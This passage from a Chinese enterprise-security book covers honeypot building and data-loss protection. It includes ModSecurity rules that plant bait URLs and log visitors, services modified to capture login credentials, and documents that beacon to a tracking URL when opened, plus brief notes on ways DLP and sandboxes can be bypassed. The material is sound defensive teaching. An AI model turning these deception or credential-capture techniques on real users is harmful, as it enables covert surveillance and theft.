在这个阶段，更多是常态化的工作，包括扫描、渗透，也包括日常的安全监控，一旦有安全事件，需要进行根因分析，并从中吸取教训，对日后的工作进行针对性的改进。

最后补充一点，不是所有应用都是同一个标准，企业要结合自身实际情况做一定的调整，比如，哪些应用是对所有互联网开放访问的，而有些应用只允许内部员工访问；哪些应用包含有大量客户资料或交易信息，而哪些没有，肯定要在以上所有阶段区别对待。




13.7　蜜罐体系建设



除了依靠各种安全配置基线、部署防御设备直面安全问题外，在内网我们经常使用一些欺骗技术来发现可疑行为，比如蜜罐。蜜罐技术本质上是一种对攻击方进行欺骗的技术，通过布置一些作为诱饵的主机、网络服务或者信息，诱使攻击方对它们实施攻击，从而可以对攻击行为进行捕获和分析，了解攻击方所使用的工具与方法，推测攻击意图和动机，能够让防御方清晰地了解他们所面对的安全威胁，并通过技术和管理手段来增强实际系统的安全防护能力。蜜罐分为低交互型蜜罐和高交互型蜜罐两种类型，大家所熟知的honeyd就属于低交互性蜜罐，这是一个非常优秀的框架，内置了一些简单的脚本，用来模拟一些常见的服务，用户可以基于honeyd提供的脚本对模板进行改写，使模拟的效果更加逼真。

在企业内网，我们的对手可能是外部黑客，也可能是内部蓝军，更有可能是恶意的员工，所以我们的蜜罐建设不是简单部署honeyd就完事了，我们需要考虑得更多、更体系化。


1.蜜域名


蜜域名，就是在内网或者互联网DNS上发布一个无法轻易猜到的域名，在DNS服务器配置不存在区域传送漏洞的情况下，一般不会轻易被访问到，别有用心之人可以通过域名暴力枚举来发现。一旦有人请求这个域名，就表明其有一定的可疑性。


2.蜜网站


上面的蜜域名，可以对应到一个网站，或者这个网站压根就没有域名，也不与其他网站有链接访问关系，也不提供给别人访问，但别有用心之人也可能会访问到。或者就是一个正常的网站，但我们利用ModSecurity在返回给用户的robots.txt内容中动态插入我们的内容，引导恶意爬虫或别有用心的攻击者来访问。假设正常的网页的robots.txt内容如下：






User-agent: *



Disallow: /api/



Disallow: /inc/



Disallow: /cgi-bin/



Disallow: /admin/







相关的含义就不解释了，如果我们往里面写入一些类似logs、backup等的目录，会不会有人感兴趣？我们写几条规则到honypot_url.conf文件，重点内容如下：






SecContentInjection On



SecRule REQUEST_FILENAME "@streq /robots.txt" \



"id:'999002',phase:4,t:none,nolog,pass,append:'Disallow: /bak.%{time_epoch}/ # website backup files'"



SecRule REQUEST_FILENAME "^/bak.\d{10}" \



    "id:'999003',phase:2,t:none,log,block,msg:'WAF_Honeypot Alert: someone access the fake url.'"







当尝试访问的时候，会发现返回的robots.txt未尾有一行我们动态插入的内容：






Disallow: /bak.1427434973/ # website backup files







当接着访问/bak.1427434973时，会触发错误日志：






[Fri Mar 27 13:43:00 2015] [error] [client 192.168.4.78] ModSecurity: Warning. Pattern match "^/bak.\\\\d{10}" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/honypot_url.conf"] [line "7"] [id "999003"] [msg "WAF_Honeypot Alert: someone access the fake url."] [hostname "192.168.4.56"] [uri "/bak.1427434973/"] [unique_id "VRTt5H8AAAEAABDzAM4AAAAB"]







或者我们在某个登录页面中插入伪造的注释信息，引诱别人访问，而正常用户是不会去访问的。以OSAdmin管理后台为例，表单代码<form name="loginForm"method="post"action="">，我们用ModSecurity在这之前写入一些HTML注释，新建规则文件honypet_comment.conf，内容如下：






SecContentInjection On



SecStreamOutBodyInspection On



SecRule REQUEST_FILENAME "@streq /login.php" "chain,id:'999004',phase:4,t:none,nolog,pass,setvar:'tx.fake_comment=<form name=\"loginForm\" method=\"post\" action=\"\">'"



SecRule STREAM_OUTPUT_BODY "@rsub s/%{tx.fake_comment}/<!-- the old login page is login_bak.php.bak ,backup by admin -->%{tx.fake_comment}/d"



SecRule REQUEST_FILENAME "@streq /login_bak.php.bak" "id:'999005',phase:1,t:none,log,block,msg:'WAF_Honeypot Alert: someone access the fake url by html comment'"







当有人尝试查看HTML注释的时候，会发现如下内容：






<!-- the old login page is login_bak.php.bak ,backup by admin --><form name="loginForm" method="post" action="">







手工尝试访问，会触发告警，Apache错误日志如下：






[Fri Mar 27 14:26:08 2015] [error] [client 192.168.4.78] ModSecurity: Warning. String match "/login_bak.php.bak" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/honypot_comment.conf"] [line "8"] [id "999005"] [msg "WAF_Honeypot Alert: someone access the fake url by html comment"] [hostname "192.168.4.56"] [uri "/login_bak.php.bak"] [unique_id "VRT4AH8AAAEAABFiAzMAAAAD"]








3.蜜端口


蜜端口有两类：一类是传统的Web应用跑在非80端口上；一类是运行TCP/IP应用监听端口。比如，我们结合Modsecurity来发现针对不常见端口的尝试攻击，选择一个没有对外公布的IP（即没有DNS解析到此IP），开启一个或多个非80端口，这是第一步。注意这个端口的选择也是有讲究的，仔细看一下Nmap默认扫描的端口中包含哪些，你是希望通过常规的端口扫描能让黑客发现这个端口，还是希望黑客通过全端口扫描才能发现，完全取决于你。在涉及的防火墙（如iptables）、负载均衡（如F5、LVS）上发布此IP与相应的端口，在apache上配置监听相关端口并设置好虚拟站点，即添加一个/etc/httpd/conf.d/hyweb.conf，关键内容参考如下：






Listen 8081



<VirtualHost *:8081>



ServerAdmin webmaster@localhost



DocumentRoot "/var/www/html/hy1"



ServerName localhost



ServerAlias localhost



ErrorLog "logs/hy1-error.log"



CustomLog "logs/hy1-access.log" common



<Directory "/var/www/html/hy1">



Options Indexes FollowSymLinks



AllowOverride None



Order allow,deny



Allow from all



</Directory>



</VirtualHost>







即让Apache监听8081端口，并指定一些目录及日志。注意，我们允许浏览目录。接下来，我们在ModSecurity上添加一个规则文件honypot_port.conf，关键内容如下：






SecRule SERVER_PORT "^(81|8000|8080|8081|8084|8888)$" \



    "id:'999001',phase:1,t:none,log,block,msg:'WAF_Honeypot Alert: someone access the fake port.'"







上面的意思是，当有人请求访问这些端口时，就会触发这条规则，在日志里写入相关信息告诉管理员有人来访问蜜罐了。

我们测试请求一下，会看到有ModSecurity的日志：






--b3fb5601-H--



Message: Warning. Pattern match "^(81|8000|8080|8081|8888)$" at SERVER_PORT. [file "/etc/httpd/modsecurity.d/honypot_port.conf"] [line "19"] [id "999001"] [msg "WAF_Honeypot Alert: someone access the fake port."]



Stopwatch: 1427430048124623 286 (- - -)



Stopwatch2: 1427430048124623 286; combined=51, p1=2, p2=47, p3=0, p4=0, p5=2, sr=0, sw=0, l=0, gc=0



Response-Body-Transformed: Dechunked



Producer: ModSecurity for Apache/2.7.3 (http://www.modsecurity.org/).



Server: Apache/2.2.15 (CentOS)



Engine-Mode: "ENABLED"







同时Apache的错误日志里也会有一条记录，如下所示：






[Fri Mar 27 12:20:48 2015] [error] [client 192.168.4.78] ModSecurity: Warning. Pattern match "^(81|8000|8080|8081|8888)$" at SERVER_PORT. [file "/etc/httpd/modsecurity.d/honypot_port.conf"] [line "19"] [id "999001"] [msg "WAF_Honeypot Alert: someone access the fake port."] [hostname "192.168.4.56"] [uri "/"] [unique_id "VRTaoH8AAAEAABAJANMAAAAB"]








4.蜜服务


低交互性的蜜服务，用honeyd模拟脚本就可以了，比如要模拟FTP服务，add windows tcp port 21"sh scripts/ftp.sh"，这句的意思是让honey调用scripts目录下的ftp.sh脚本，访问效果如图13-11所示。

随着Docker的兴起，有些商业蜜罐产品开始利用Docker+iptables转发来做调度，不同的Docker里运行各种不同的服务，比如RDP、SSH、Telnet、MySQL、Redis等，注意后端不再是一个模拟的交互环境，而是一个真实的服务，图13-12展示了某商业产品的蜜罐功能。

而前端需要探针服务器配合，企业按需部署，探针上的Agent将流量按需引导到后端蜜罐上，如图13-13所示。




图13-11　Honey模拟FTP应用




图13-12　某商业产品的蜜罐功能




图13-13　某商业产品的蜜罐探针

当我们用自动化脚本对网络上各种服务进行检测时，会触发蜜罐事件，比如图13-14所示的SSH尝试用弱口令登录产生的事件。

密罐不仅能记录访问来源，还能记录用户密码，当然这需要对OpenSSHD源码做适当的修改；同理，对MySQL源代码做适当修改也能记录下MySQL的操作指令，如图13-15所示。




图13-14　蜜罐记录的SSH事件




图13-15　蜜罐记录的MySQL事件

这样的蜜罐，比单纯的记录TCP访问连接要好很多，但由于每个服务都需要做适当的修改，所以也有一定的成本。


5.蜜库蜜表


在企业内网真实的数据库服务器上，新建一个假的库或者表，同时记录针对假库假表的访问，这就是我们说的蜜库蜜表了。恶意人员可能关心企业内部的组织结构、薪酬信息甚至生产系统中的客户资料、交易信息等，我们在建假库假表的时候，适当模仿，可能更有迷惑性。


6.蜜文件


在一些重要的场所，比如机房维护操作间电脑上，放一些精心准备的Word和Excel文件，一旦有人想将这些文件带离，在终端或网络上的DLP程序能及时发现；如果恶意人员使用一些技术手段绕过DLP，在文件打开的时候，也会请求特定的URL来“告诉”我们，这些文件已经泄露出去了。所谓的精心准备的文件，包括几个方面：

·精心设置文件名、时间、作者属性等，既吸引人又不至于让人怀疑，比如“XX银行股权分配计划.doc”。

·精心放置目录，既不能放到桌面、磁盘根目录这么显眼的地方，也不能隐藏太深。

·文件制作过程中，利用插入图片或链接的方式，设置一个URL带上一些内部标识的参数，同时尽量做到让这些图片或链接非常不起眼。

·文件制作好之后，需要在DLP系统上配置有针对性的策略，以发现相应的泄露行为。


7.全民皆兵


传统的蜜罐在企业内网部署，维护量较大，而且不便于统一管理，市面上已经有新的蜜罐产品，逐步在解决此类问题。

全民皆兵是一种防卫思想，最终的目标是将侵略者埋葬在全民皆兵的汪洋大海里。我们借用这个思想，企业里本身就有海量的终端，我们需要在这些终端上进行适当的武装，比如随机蜜罐功能就是一个例子。我们在终端管理软件里加入随机蜜罐功能，后台配置相应策略之后，终端有5%~15%的概率运行HTTP、FTP服务程序，运行1~2小时后自动退出，当然如果终端上已有相应端口监听，就不会运行。有些商业产品也开始利用类似的思路，在终端上监听一些端口（当然，如果与系统已有端口冲突则放弃），然后将外来访问蜜端口的请求通过SOCKET转发到后端真实的服务器上，同时记录相应的连接、断开情况，包括时间、来源IP、来源端口等，而且这种基于Agent的蜜罐还可以通过后台策略进行统一调度。图13-16为某商业产品的策略。




图13-16　某商业蜜罐的策略

统一调度后，终端上即会开启相应的端口处于监听状态，如图13-17所示。

有了这些功能后，在我们安全管控触角伸不到或者保护不太严格的终端网段，有一些不怀好意的探测或扫描，也会被这种方式发现。




图13-17　某商业蜜罐本地端口监听




13.8　小结



整个内网安全体系涉及的内容非常多，本章只是依据笔者经验写成。随着大数据、云计算、SDN、区块链的兴起，传统的安全手段会逐步面临挑战，我们需要不断学习并保持关注，与时俱进。




第14章　数据安全



数据安全这个话题，覆盖面非常广，包括市面上数据备份、电子文档安全、数据泄露防护、数据库安全等，磁盘加密的厂商都会把自己划到数据安全厂商这一类，而随着新技术的发展，大数据安全、UEBA、CASB等解决方案也会更多被企业关注。

2018年3月，美国F公司爆出史上最大数据泄露事件，随着这个事件的持续发酵，甚至牵扯到了美国总统通俄门调查，可想而知影响有多大。

企业要着手数据安全建设工作，很多乙方上来就会提企业数据安全治理、分级分类等工作，往往这些工作涉及企业内部各机构的沟通协调、内部梳理，再加上很多企业中想做数据安全建设工作的更多是技术部门，最终导致难以落地。当然，不排除有做得好的企业。下面我们简单谈一下与数据安全治理相关的概念，然后按终端、网络、存储、应用、数据脱敏、水印、UEBA、CASB顺序进行介绍。




14.1　数据安全治理



数据安全治理最为重要的是进行数据安全策略和流程制订。在企业或行业内经常发布《XX数据安全管理规范》，所有的工作流程和技术支撑都是围绕此规范来制订、落实，一般会包括组织架构及职责分工、数据分类与分级管理、数据生命周期（采集、使用、传播、存储、归档、销毁）安全要求、数据安全风险事件管理、数据安全管理考核与监督、数据安全管理培训等内容。

数据安全治理工作，需要遵循国家级的安全政策和行业内的安全政策，包括网络安全法、等级保护政策及特定行业政策（如PCI-DSS、SOX等），企业在制定内部政策时需要重点参考。

数据治理主要依据数据的来源、内容和用途进行分类；以数据的价值、内容敏感程度、影响和分发范围进行敏感级别划分。这就要求企业需要对现有数据资产进行梳理，包括数据的使用部门和角色、数据的存储和分布、现有的数据访问原则和控制策略等。数据资产梳理中，要明确数据如何被存储、数据被哪些对象使用、数据被如何使用等。对于数据的存储和系统使用，需要通过自动化的工具进行；对于部门、人员角色梳理，更多在管理规范文件中体现；对于数据资产使用角色的梳理，关键要明确不同受众的分工、权利和职责。清楚敏感数据分布，才能知道需要对什么样的库实现何种管控策略；对该库运维人员实现怎样的管控措施；对该库的数据导出实现怎样的模糊化策略；对该库数据的存储实现何种加密要求。明确数据被什么业务系统访问，才能准确地制订业务系统工作人员对敏感数据访问的权限策略和管控措施。

数据治理的分级分类工作做得好，将有利于后面技术管控方案的部署实施以及精准有效发现问题。不能落地不代表我们不去朝这个方面努力，至少要知道企业里比较核心的数据是什么，在哪里，怎么流转，然后针对性地布控。




14.2　终端数据安全



跟数据打交道最多的场景是终端电脑，所以很多企业的数据安全建设工作都会围绕终端进行，市面上的解决方案有加密、权限控制、终端DLP桌面、虚拟化、安全桌面等几大类别，中间还会涉及一些外设管控、水印等，我们逐一阐述。




14.2.1　加密类



加密类解决方案可以分为磁盘加密、文件加密两类技术。


1.磁盘加密


磁盘加密技术目前主要有两种类型：一种是磁盘分区加密技术，另一种是全磁盘加密技术（Full Disk Encryption，FDE）。

磁盘分区加密技术是采用加密技术对磁盘上某一个扇区（或者分区）进行加解密。磁盘分区加密技术目前已经有广泛应用，虚拟磁盘加密技术（Vertual Disk Encryption，VDE）就是磁盘分区加密技术的代表之一，其他的还包括移动存储设备加密技术。很多企业提供类似“安全U盘”的设备，网上搜索“加密U盘”即可找到。

全磁盘加密技术，顾名思义，是对整个磁盘上的数据进行加解密，包括系统所在分区也是加密的。国内也有厂商提供全磁盘加密的技术解决方案，图14-1是某厂商的动态加解密过程原理图。




图14-1　全磁盘加解密工作原理

随着操作系统功能的不断增强，都自带了磁盘加密功能，比如Windows的BitLocker、Linux的LUKS、MAC的FileVault等。除了系统自带外，个人用户还可以使用免费的TrueCrypt，同时支持Windows Vista、7/XP、Mac OS X、Linux等操作系统。TrueCrypt不需要生成任何文件即可在硬盘上建立虚拟磁盘，用户可以按照盘符进行访问，所有虚拟磁盘上的文件都被自动加密，需要通过密码进行访问。TrueCrypt提供多种加密算法，包括AES-256、Blowfish(448-bit key)、CAST5、Serpent、Triple DES和Twofish，其他特性还有支持FAT32和NTFS分区、隐藏卷标、热键启动等。因为安全原因，TrueCrypt已经停止更新，用户可选用更安全的版本VeraCrypt，除了免费这一优势，最关键的是操作也非常方便，如图14-2所示。




图14-2　VeraCrypt效果图

传统的磁盘加密方案，都是基于防止设备丢失等带来的被动泄密，而无法防止员工的主动泄密，所以以上的方案比较适合用在笔记本电脑、移动存储设备上。

业界还有一种新的商业产品方案，同样也是在磁盘上做文章，即在本地物理磁盘上创建一个文件（称为实体文件），把该文件映射为一个盘符，这个盘符与正常的盘符没有区别，只是读写这个盘的数据会被重定向成读写上述实体文件。除此之外，再结合对进程访问资源的控制，来实现对特定应用或业务系统的保护。基本的工作原理如图14-3所示。

图14-4所示的架构图比较清晰，只有指定的合法进程才能访问这个虚拟磁盘，而这些进程一旦打开了虚拟磁盘里面的文件，就会立即进入受控状态，一切可能导致数据泄露的行为都会被控制，控制方法包括允许、审计、禁止、审批等。

针对特定业务系统的保护，此方案是一个非常不错的选择，在实际使用过程中需要关注以下问题：

·受保护的业务系统是C/S还是B/S访问，内部是否有各种调用关系，这些都决定了要保护的进程、网络访问该如何配置。

·某些软件本身会有一些行为，如读写系统盘临时文件或者与业务系统无关的网络行为，这时候的强控制是否会引起兼容性问题？弱控制是否会引起数据泄露？这些问题可能都需要评估。

·实施方案要考虑应用的各种不同版本，以及应用软件功能升级情况，以免引起不兼容问题。




图14-3　技术架构图


2.文件加密


这里的文件加密不是指给文档设置一个密码或者给文件压缩设置压缩密码，而是企业里常用的透明加解密方案。所谓透明是指，对使用者来说是未知的，当使用者在打开或编辑指定文件时，系统将自动对未加密的文件进行加密，对已加密的文件自动解密。文件在硬盘上是密文，在内存中是明文。一旦离开使用环境，由于应用程序无法得到自动解密的服务而无法打开，从而起到保护文件内容的效果。

透明加解密产品的实现技术，分为两种：应用加密、驱动层加密。

·应用层加密。通过调用应用系统的Windows API函数来对文件进行读写的加密控制，即平常所说的Hook技术。通过Hook技术，当监控到可信进程打开加密文件的时候将其进行解密，当监控到可信进程写入文件到磁盘的时候进行加密；而驱动层则工作在更底层，通过拦截操作系统文件过滤驱动的读写动作对文件进行加解密控制，由于工作在受Windows保护的内核层，运行速度更快，加解密操作更稳定。

·应用层加密，关心的是应用软件的行为（读写），由于各种软件读写数据的行为差异，软件环境的变更会带来巨大的开发成本与测试成本，增加二次开发的费用。而驱动层技术涉及Windows底层，开发难度相对更大一些，记得当年某同学研究微软新的文件过滤驱动Minifilter就花了整整半年时间。驱动层加密的难点不在于和文件系统的交互，而在于和其他系统内核模块的交互，特别是缓存系统。系统会把刚用过的文件内容缓存起来，于是同一份文件内容会同时出现在两个地方：缓存中和文件系统中。于是加解密过程需要同时处理这两处，同步、兼容等一系列过程，实现起来可难受了。如果处理不好与其他驱动的冲突，搞不好就会出现蓝屏或文件损坏。另外，如何确认一个进程是合法的需要解密也比应用层处理起来更麻烦一些。

业界关于到底是驱动层加密好还是应用层加密好的争论从来没有停止过，笔者多年前在某文档安全厂商工作，对市面上几乎所有的加密产品做过测试，特别是安全性测试，也实施过很多大型项目。应用层加密，有的产品会通过临时文件的方式来处理，一旦对临时文件的保护处理不到位就容易被人拿到明文。当然，并不一定驱动层就更安全，因为应用程序会有各种各样的功能，比如通过网络发送、通过管道传输、进程内部的复制粘贴拖拽、插入对象、甚至直接输出exe文件，还要防止截屏软件截图等，这些在驱动层是很难控制甚至无法控制的，所以很多家的厂家都会采用驱动+应用控制的方案来实现，比如，在应用层加解密结合在驱动层做防护，或者在驱动层加解密结合在应用层控制。

结合笔者经验，企业选择透明加解密类产品，需要结合具体企业的场景来看：

·如果保护的只是小范围的Office和PDF，而且不会有太多交互，那两种方式加密基本上问题都不大。

·如果涉及研发代码类编译场景，采用应用层加解密，速度会是一个很大的问题。

·如果涉及各种内部交互，比如OA系统调用本地Office，PDM系统调用本地AutoCad程序等，那应用层加密会更加灵活一些。

·如果企业内部应用要实现服务端明文、终端密文，那还需要考虑如何防止合法终端进程走网络将数据传到非法服务端，一般的厂商会引入网关方案。

·如果推广范围较大，还需要考虑各种场景，如文件解密流程、笔记本临时或长期离线、文档外发控制、不同部门的密钥管理、支持不同的操作系统或移动终端等，需要自己评估。

企业在选择方案的时候一定要多方评估，目标产品是不是该公司的核心业务，否则可能在不久的将来也会面临类似的问题。




14.2.2　权限控制类



除了透明加解密之外，企业用户往往需要做更细粒度的控制，包括阅读、复制、编辑、打印等，我们称之为权限控制类方案。这里以微软RMS方案为例进行讲解。注意权限控制不代表不使用加密技术，相反，方案通过使用加解密、密钥管理类的技术，来保障被授权的用户才能有权限使用该文档；而文档权限的控制，保障被授权的用户，权限能够更细粒度地区分，比如阅读、复制、编辑、打印、二次授权、使用时长、打开次数、被打开的机器数量等。其中一些权限，如阅读、编辑、打印等，是通过控制文档编辑器来实现的，而二次授权是通过解密再加密授权实现的。

由于欧美和亚洲在防主动泄密的理念以及对用户安全意识的信任是不同的，导致产品功能稍有不同，但对用户的使用体验甚至安全性上有非常大的影响。在欧美，文档权限管理的目的，更偏重于让有安全意识的用户更好地授权自己的文档，以及信任有安全意识的用户合理使用文档，如果他一旦利用漏洞进行主动泄密，更多交给DLP来实现。但在亚洲，文档权限管理的目的更多是防止主动泄密，希望将被授权用户管理得非常严格。

说一下具体的场景：“阅读”这个权限非常好理解，就是被授权用户只能读，不能做任何其他操作。但以最典型的文档“复制”权限为例，是允许用户只能将该文档里的内容复制到其他的加密文档，还是可以复制到邮件或Web类的OA应用呢？微软的RMS是允许的，国内的很多软件是禁止的，或者是有限字节拷贝。双方都有合理的理由。

RMS产品允许复制的原因是，的确有工作场景需要：

·加密的文档，只是文档中有些内容涉密，不等于所有内容都是高度涉密的。

·文档内容的交互不仅仅只是文档和文档之间，常常有些工作场景需要摘录文档中一些统计类图标、内容，发在邮件正文中作为报告的摘要信息提示。比如，系统方案上OA应用评审，也希望摘录部分不太涉密的评审点。因为随着信息化系统的高度发展，信息流转不仅仅是在文档和文档之间，也在文档和系统之间。但这样虽然方便了用户，却会造成安全风险，因为一旦可以将内容拷贝到邮件或者OA应用，那么加密就失效了。但欧美的理念是，员工都经过了安全意识教育，被授权的用户也应知道这些信息该如何处置，哪些内容可以复制到非加密的应用中而哪些不可以。如果他们主动或过失泄密，在技术上有DLP的监测或者其他审计，在管理上公司可依制度和法律问责。

国内产品禁止复制的原因，想必大家都能理解，因为一旦可以复制，就有极大的泄密风险，对于蓄意泄密的用户这就是很好被利用的策略漏洞，那企业在这方面的努力就付诸东流了。但这样做又会极大影响用户体验，一般有两个缓解方法：

·梳理并培训业务的核心信息。让用户知道，哪些信息该加密和授权，哪些信息不需要，避免加密和授权的滥用。这样也就较少存在上述由于权限管理严格导致信息交互不通畅的问题。但说起来容易做起来难。

·受限拷贝。限制字节数拷贝到非加密应用中，如邮件、OA系统等，辅助对拷贝次数进行分析和自动化预警。策略越复杂，产品也越容易出Bug。而且，字节阈值的限定也是一个难题。

不纠结以上这些细节，RMS与微软AD、Office整合在一起是非常完美的，可惜很多企业还有大量非Office类文档需要保护，如设计图纸，源代码等。另外，此方案与AD绑得比较紧，用户名密码这种身份认证满足不了一些高安全要求的企业场景，而加密密钥保存在计算机上容易被不法分子通过技术手段获取，所以很多国内企业也趁机推出了自己的权限控制类产品，如控制打开时间、打开次数等。这类产品往往需要对原来的文件格式进行转换，采用厂商的定制工具打开，最后还是会调用原应用程序，只是在这个过程中控制一下权限，但一旦打开，后里面的各种应用功能（如剪贴板、插入对象等）也不太好控制，所以目前在市场上越来越少见了。

近几年，随着国产化的逐步推进，WPS在政府军工企业用得越来越多，金山公司提供了文档安全相关的功能，除了有文档加密功能外，还有权限管理功能，包括浏览、编辑、复制、打印、另存、截屏、授权七种权限可以控制，而拥有文档授权权限的用户和文档安全管理员可以将权限授予给其他用户、部门或用户组，用户和管理员的操作日志在后台都能完整记录。除此之外，还有文档外发、打印分发等功能。

比较特别的一点是WPS安全文档的加密机制，与传统电子文档安全软件不同，安全文档采用一文一密钥的机制，密钥本身会二次加密，二次加密密钥由服务器产生并保存，每次打开安全文档需要到服务器利用二次密钥解开文档密钥，才能打开安全文档，多重防护确保了文档安全，保存与打开文档流程如图14-4和图14-5所示。




图14-4　WPS保存安全文档流程




图14-5　WPS打开安全文档流程

加解密方式特性如下：

·客户端密钥Client在每次保存时都会重新产生，以保证其安全性。

·服务端密钥Server不传输到任何地方。

·权限信息不写入安全文档中，而是保存在服务器。

·客户端和服务器均使用标准AES进行加解密，支持接入第三方算法。

企业如果决定使用WPS的安全文档方案，请认真考虑以下几个问题：

·企业里WPS推广落地效果如何？毕竟WPS和Office还是有差距的，有些Excel里的高级功能在WPS里可能没有或者不完善。

·密钥都存在后端服务器上，文档解密都需要与后端服务发生关系。如果服务端可用性架构设计不妥或者运维不当，都可能导致文件无法正常打开，这点需重点关注。

·每个文档都有不同的密钥，如果考虑到特殊情况下要全部解密怎么办？WPS安全文档还提供了金钥匙功能，可以将其理解为一个万能钥匙，前提是在加密的时候使用这个KEY，那这又引入了一个风险，这个KEY的保存、使用过程是否安全？




14.2.3　终端DLP类



市面上除了加密和权限控制类方案之外，还有一些提供终端DLP功能，通常包括敏感文件识别、外发文件阻断、外设端口管控、日志审计分析等功能。其中，最关键的是敏感文件识别，如果连文件内容都无法准确识别，那后面的阻断就成为无稽之谈。而外设端口管控、日志审计分析，在一些桌面管理类方案都有涉及，此处不过多阐述。

敏感文件识别，首先，要对终端上的各类文档进行深入解析，通常Office、PDF、压缩包、文本类都是必需的，在测试的时候一定要对不同版本的Office文档进行测试，因为不同版本产生的文件格式也不一样；Office还提供一些诸如插入对象的功能，那么Word里插入一个xls能解析吗？压缩有Rar、Zip、7z等格式，不同格式又会有一些不同的压缩算法，RAR5支持吗？7-Zip里的LZMA、PPMd等支持吗？图片文件是否能OCR识别？最后，copy/b的绕过方法能否在DLP方案里有所体现，这是个加分项。其次，在解析内容的基础上，匹配相应的策略来判断文档是否敏感，从简单的关键字、正则表达式，到文件指纹，数据库指纹，再到语义分析、机器学习等，在条件上的与、或、非各种组合下，才能判定文件是否敏感，敏感度是多少，相应的动作是否阻断等。

外发文件阻断，通常需要考虑一些泄密的场景，包括U盘拷贝、打印、压缩、拷贝到共享、拷贝到远程桌面、拷贝到虚拟机、光盘刻录、邮件客户端发送、QQ/RTX/微信等通讯软件聊天以及传附件等一系列场景，有的甚至需要对截屏、剪贴板进行控制。至于是采用阻断还是采用只监控审计的方案，要看企业需求和文化氛围，只监控审计的方案对最终用户无感知，体验会更好，也更容易在企业落地。




14.2.4　桌面虚拟化



数据一旦落到终端，很多方案都会存在失效的可能。随着云计算、大数据的发展，很多企业意识到将数据统一集中管理、不落到终端上是一个不错的方法。在桌面虚拟化技术成熟之前，很多企业就已经在开发类似的方案了，基本上都围绕一个思路—数据不落地。比如，针对数据仓库的数据防护，采用瘦终端+终端服务器跳转来实现，结合外围物理控制，比如门禁、保安、不允许手机带入等。

得益于服务器虚拟化技术的成熟和服务器计算能力的增强，使得服务器可以提供多台桌面操作系统的计算能力，将远程桌面的远程访问能力与虚拟操作系统相结合，形成了桌面虚拟化技术。有些场景可能不需要用户有个完整的桌面，只需要特定的应用，于是出现了应用虚拟化。VMware的虚拟桌面方案示意图如图14-6所示。




图14-6　VMware的虚拟桌面方案

虚拟桌面方案对网络质量要求较高，不同厂家的远程协议有各自的优化处理方案，需要仔细对比体验，除此之外，我们需要关注以下的一些关键点：

·用户认证功能。
 一般方案都提供本地用户密码认证、AD认证，有的还支持双因素认证。

·USB存储功能。
 有些场合需要使用USB设备，所以一般都提供了USB重定向功能，如果USB的存储功能受限，将会成为一个数据泄露的途径。

·剪贴板功能限制。
 为了方便地将本地剪贴板内容拷贝到虚拟桌面，一般的方案都提供了剪贴板重定向功能，最好有方向上的控制。

·MAC地址绑定功能。
 虚拟桌面IP和MAC地址绑定，瘦终端的MAC地址与用户账号绑定，或者与虚拟计算机的名称绑定等。

·PC截屏功能。
 数据都在服务端，本地终端能看到但拿不到，难免会有人想截个屏，然后到本地桌面粘贴，这时候防截屏功能就能发挥作用了。

·虚拟桌面水印功能。
 截屏不行还可以拍照，所以水印功能也必不可少，有明文水印，有些厂商还提供隐藏水印功能。

·如果在没有全员迁入到虚拟桌面的情况下，怎么保障虚拟桌面用户只能通过虚拟桌面而不能通过本地计算机访问核心信息系统，从而保障核心信息不落地？

·虚拟桌面本质上相当于将物理终端从前台移到了后台，解决了物理终端设备边界的问题，对于从网络和应用上访问所形成的数据安全风险，还需要结合其他安全方案进行巩固。




14.2.5　安全桌面



不同于桌面虚拟化方案在已有终端利用率不高、网络和后台资源占用多的情况，目前市场上还有一种“安全桌面”方案，其本质是利用Sandbox技术，在真实系统上虚拟出一个安全桌面，当用户访问敏感系统或数据的时候要使用安全桌面。基于沙箱的安全桌面可以在操作系统使用时虚拟出多个专用桌面，在这些专用桌面上的操作与宿主桌面共用操作系统和应用程序，但是不会共用数据。例如，在专用桌面中编辑文档信息和在宿主桌面一样，使用相同的办公软件，但是数据完全隔离，两个桌面各自编辑自己的文档。在基于沙箱的安全桌面上结合终端监控工具，就可以彻底区分业务数据，通过网络访问控制区分宿主桌面和专用桌面的访问范围，可以限制业务系统只能接受某些专用桌面的访问，并且结合存储控制，例如，数据只能存储在远程的文件服务器上或者禁止移动存储设备接入，完全能够实现监控专用桌面的数据访问和存储，对于业务数据保护非常完善。

结合笔者经验，此类方案主要存在两大问题需要解决：

·沙箱技术与操作系统强相关导致的兼容性问题。微软新推出一个操作系统，你的安全桌面方案还能支持吗？微软IE浏览器升级后，安全桌面方案是否需要调整？

·沙箱的隔离技术与操作系统功能导致的安全性问题。我们知道，进程除了与文件打交道，还会涉及网络、管道等，方案对不同桌面的网络控制进行了限制，其保护机制如何？简单修复SPI是否能绕过？在默认桌面起个服务监听网络端口然后在沙盒里通过网络访问呢？进程间通信管道用来传递数据呢？

终端本来就复杂，很多厂商不会在上面投入太多精力，随着操作系统和应用软件的不断升级，最后导致的结果就是支持力度上不去，使用了该方案的企业可能会陷入被动局面，所以请谨慎选择。




14.3　网络数据安全



企业员工上网、邮件外发场景都会存在数据泄露的可能，有些企业对办公和业务网做了逻辑隔离，但数据还是有交互的需求，这里都需要考虑数据安全问题。笔者把它分为三类：网络DLP类、上网代理类、邮件代理类。网络DLP类主要是基于旁路镜像分析流量是否有敏感内容传输；后两种主要是串在网络访问路径上，从而可以起到拦截的效果，下面分别阐述。


1.网络DLP类


此类方案中，笔者以Symantec DLP的Network Monitor为例进行介绍，图14-7是Symantec DLP关于Network Monitor功能的示意图。




图14-7　Symantec Network Monitor功能

首先，管理员通过Enforce界面对各种策略、服务器、角色、用户进行统一管理，Network Monitor Server只是其中一种类型的服务器；其次，通过在交换机上做Span或者使用TAP交换网络，将流量送到Monitor服务器，在Enforce上进行相应的配置，如图14-8所示。




图14-8　Symantec Network Monitor配置

如果对标准版的协议不满意，还可以进行自定义调整，比如，基本的IP过滤，针对不同协议的L7层过滤，甚至还有一些内容处理的深度设置，图14-9是对SMTP协议可配置的项。

最后，DLP Monitor程序从服务端拉取策略，对前面镜像的流量按照其标准或自定义过滤情况进行分析，一旦发现有匹配策略的附件或内容，即产生事件并上报到Enforce，最终写入数据库供管理员查阅。

此类方案由于不改变现有网络结构，部署起来有先天的优势，所以被广泛使用，企业在使用此方案时，需要注意：




图14-9　Symantec Network SMTP

